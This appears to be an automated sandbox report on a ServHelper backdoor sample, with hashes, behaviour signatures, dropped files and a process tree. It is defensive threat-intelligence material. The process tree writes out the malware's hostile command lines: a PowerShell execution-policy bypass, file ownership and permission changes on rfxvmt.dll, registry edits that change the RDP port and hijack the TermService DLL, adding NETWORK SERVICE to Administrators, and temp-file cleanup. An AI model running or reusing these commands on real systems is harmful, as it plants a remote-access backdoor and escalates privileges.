Analysis

  • max time kernel
    141s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30-03-2024 02:34

General

  • Target

    3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe

  • Size

    4.3MB

  • MD5

    3170bcf7de646f8612910ab98f6d1861

  • SHA1

    71d81b3dd1747cf1c0e744fcb1809d6522eab902

  • SHA256

    bea9da3ee504f62fc074963332e96297c7fff5efb2999efc946bc518a3765c00

  • SHA512

    f232d67902f1b7fc3eb73efc7df575dcac83f5943e613e61982c78c9d4c47b18eadd6d87f2b4d040ec4125f4770a33f03b5743b3b18c34ab622b258f913b91c5

  • SSDEEP

    98304:OcaOt2a4P7cEg9j1rQT6YHyV4QWfjmRbM4rmqof6+oO+e:x4a4ndrE4QWfjm1M4rm1fqFe

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2600
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F9C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7F9B.tmp"
          4⤵
            PID:2436
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2456
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
        • C:\Windows\SysWOW64\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1480
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2768
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1416
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3024
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3060
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3000
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2844
        • C:\Windows\SysWOW64\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2444
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2240
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:2808
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2716
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
                PID:1728
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:2096
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                    PID:828
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net start rdpdr
                      4⤵
                        PID:2088
                        • C:\Windows\SysWOW64\net.exe
                          net start rdpdr
                          5⤵
                            PID:1872
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 start rdpdr
                              6⤵
                                PID:552
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                          3⤵
                            PID:3064
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c net start TermService
                              4⤵
                                PID:1808
                                • C:\Windows\SysWOW64\net.exe
                                  net start TermService
                                  5⤵
                                    PID:2752
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 start TermService
                                      6⤵
                                        PID:1124
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                  3⤵
                                    PID:3004
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                    3⤵
                                      PID:2136

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Temp\RES7F9C.tmp
                                  Filesize

                                  1KB

                                  MD5

                                  7f4c5cb8e45901a61f403e78440cc413

                                  SHA1

                                  f47cc515eb7d3fdd6d3d35be522d131618ac9a5a

                                  SHA256

                                  547395c865a4c3b919d2dd9b91a2e3067f067b3b53ae176fbe3bc0043faba6c9

                                  SHA512

                                  f65d4f77ebdf7297fe52c55cb2486070d416fbe4f0fbea70255fec51125ea7c3bd3e7b5a7625e473fce3db8e3be2b49c0e76018fd518b58e345b3793b1f28c7e

                                • C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.dll
                                  Filesize

                                  3KB

                                  MD5

                                  99bb3cc30d2685ddf41a4684048501d3

                                  SHA1

                                  9eec612c75b98a9723bed956563a7797decf998a

                                  SHA256

                                  ef9d84d2381c00665360056398fdff8c0b5b8a5cc141c38c3b06a671dfee9211

                                  SHA512

                                  9ceef880aea88577c62d322e47f145bc40fbc4e193547297c2a4d241097e038b19a12f81df6aea8d4f2ca7cf9bba9df093bfa94f9a3ff1ce53583762600d1795

                                • C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.pdb
                                  Filesize

                                  7KB

                                  MD5

                                  6a96d46756d38fedf07a604bd14bb295

                                  SHA1

                                  98c4dc27ec98ca0efbc62ecb2574887089ec8619

                                  SHA256

                                  d5bf21fcd67b7573dc5931b113fd99120f34e677a74a357ab5af448d109f61c1

                                  SHA512

                                  530ec7cfaa82cac3d3d82f54e8982fe502a3f893384a7da64fd11d715372ed4f24b61694a9d791b7c49b44c93d7348ab73abf5fcc950db68c34134d18e6344fe

                                • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
                                  Filesize

                                  2.5MB

                                  MD5

                                  794bf0ae26a7efb0c516cf4a7692c501

                                  SHA1

                                  c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2

                                  SHA256

                                  97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825

                                  SHA512

                                  20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75

                                • C:\Users\Admin\AppData\Local\Temp\ready.ps1
                                  Filesize

                                  1KB

                                  MD5

                                  28d9755addec05c0b24cca50dfe3a92b

                                  SHA1

                                  7d3156f11c7a7fb60d29809caf93101de2681aa3

                                  SHA256

                                  abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                  SHA512

                                  891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                                  Filesize

                                  7KB

                                  MD5

                                  ff71cc3adc8818e1f65a998cb3cde44c

                                  SHA1

                                  726c8f510b7dbea9b1385877f2b3c9899bd68e0b

                                  SHA256

                                  0ca8dceac969d17fe13915f29115ccb4ba81dec33bdeece8c4cadfe68a9a9247

                                  SHA512

                                  4f132e4b40ae579543fa0d737516e54a95d869c4e8c9d1f77a656af8ec6b510cdb43568d5704a6d2313e1d01cb4009b3a6080592aafe041b938d7e78d51f5d3e

                                • C:\Windows\SysWOW64\rfxvmt.dll
                                  Filesize

                                  40KB

                                  MD5

                                  dc39d23e4c0e681fad7a3e1342a2843c

                                  SHA1

                                  58fd7d50c2dca464a128f5e0435d6f0515e62073

                                  SHA256

                                  6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                  SHA512

                                  5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                • \??\c:\Users\Admin\AppData\Local\Temp\CSC7F9B.tmp
                                  Filesize

                                  652B

                                  MD5

                                  f47c804de7cc6c1c31b86aac86598ae0

                                  SHA1

                                  e522d497159159ab8f103ca5374eeff1bd280a23

                                  SHA256

                                  21f145c0ea6df722b6de01e927753c2672da8807f8f3e104a67cdff8a2d109d1

                                  SHA512

                                  456321ad6ad5761840b12524f178e169785947ac2a99b533d3182c951fd2c41b9855b1f28692a0174645dc70daba9ae503da5fd9f8220fbe4251e755785edc48

                                • \??\c:\Users\Admin\AppData\Local\Temp\bd_dvnlr.0.cs
                                  Filesize

                                  424B

                                  MD5

                                  9f8ab7eb0ab21443a2fe06dab341510e

                                  SHA1

                                  2b88b3116a79e48bab7114e18c9b9674e8a52165

                                  SHA256

                                  e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                  SHA512

                                  53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                • \??\c:\Users\Admin\AppData\Local\Temp\bd_dvnlr.cmdline
                                  Filesize

                                  309B

                                  MD5

                                  6e072fd69c669bcb1cd0a992a3b994ef

                                  SHA1

                                  ceaf94674d832d7bd482be965721326254170292

                                  SHA256

                                  472e48de0ee4bda307861939df0fcef7cfa30083440a23b2c8d00e8b391f3ee4

                                  SHA512

                                  d7c1f7b84d5f93a258582b7cb4fccf91699f7ba654b80078ea514fc162fc9ee8756203a156b379d06937faedad6106a3821557e9b08b7dea7157fa2fab2170f4

                                • memory/1220-13-0x0000000003620000-0x0000000003A27000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1220-1-0x0000000003620000-0x0000000003A27000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1220-17-0x0000000003A30000-0x0000000003E32000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1220-56-0x0000000006790000-0x00000000067D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1220-48-0x0000000006790000-0x00000000067D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1220-42-0x0000000006790000-0x00000000067D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1220-7-0x0000000006790000-0x00000000067D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1220-6-0x0000000006BD0000-0x0000000006FD4000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1220-5-0x0000000006790000-0x00000000067D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1220-4-0x0000000074960000-0x000000007504E000-memory.dmp
                                  Filesize

                                  6.9MB

                                • memory/1220-3-0x0000000000400000-0x0000000001AC1000-memory.dmp
                                  Filesize

                                  22.8MB

                                • memory/1220-2-0x0000000003A30000-0x0000000003E32000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1220-36-0x0000000074960000-0x000000007504E000-memory.dmp
                                  Filesize

                                  6.9MB

                                • memory/1220-0-0x0000000003620000-0x0000000003A27000-memory.dmp
                                  Filesize

                                  4.0MB

                                • memory/1964-67-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/1964-71-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/1964-69-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/1964-70-0x0000000002590000-0x00000000025D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/1964-68-0x0000000002590000-0x00000000025D0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2456-43-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2456-44-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2456-45-0x0000000002750000-0x0000000002790000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2456-46-0x0000000002750000-0x0000000002790000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2456-47-0x0000000002750000-0x0000000002790000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2456-49-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2512-16-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2512-75-0x0000000002730000-0x0000000002770000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2512-85-0x0000000002730000-0x0000000002770000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2512-14-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2512-77-0x0000000002730000-0x0000000002770000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2512-76-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2512-73-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2512-18-0x0000000002730000-0x0000000002770000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2512-15-0x0000000002730000-0x0000000002770000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2644-55-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2644-59-0x00000000027A0000-0x00000000027E0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2644-57-0x00000000027A0000-0x00000000027E0000-memory.dmp
                                  Filesize

                                  256KB

                                • memory/2644-58-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2644-61-0x000000006F8F0000-0x000000006FE9B000-memory.dmp
                                  Filesize

                                  5.7MB

                                • memory/2644-60-0x00000000027A0000-0x00000000027E0000-memory.dmp
                                  Filesize

                                  256KB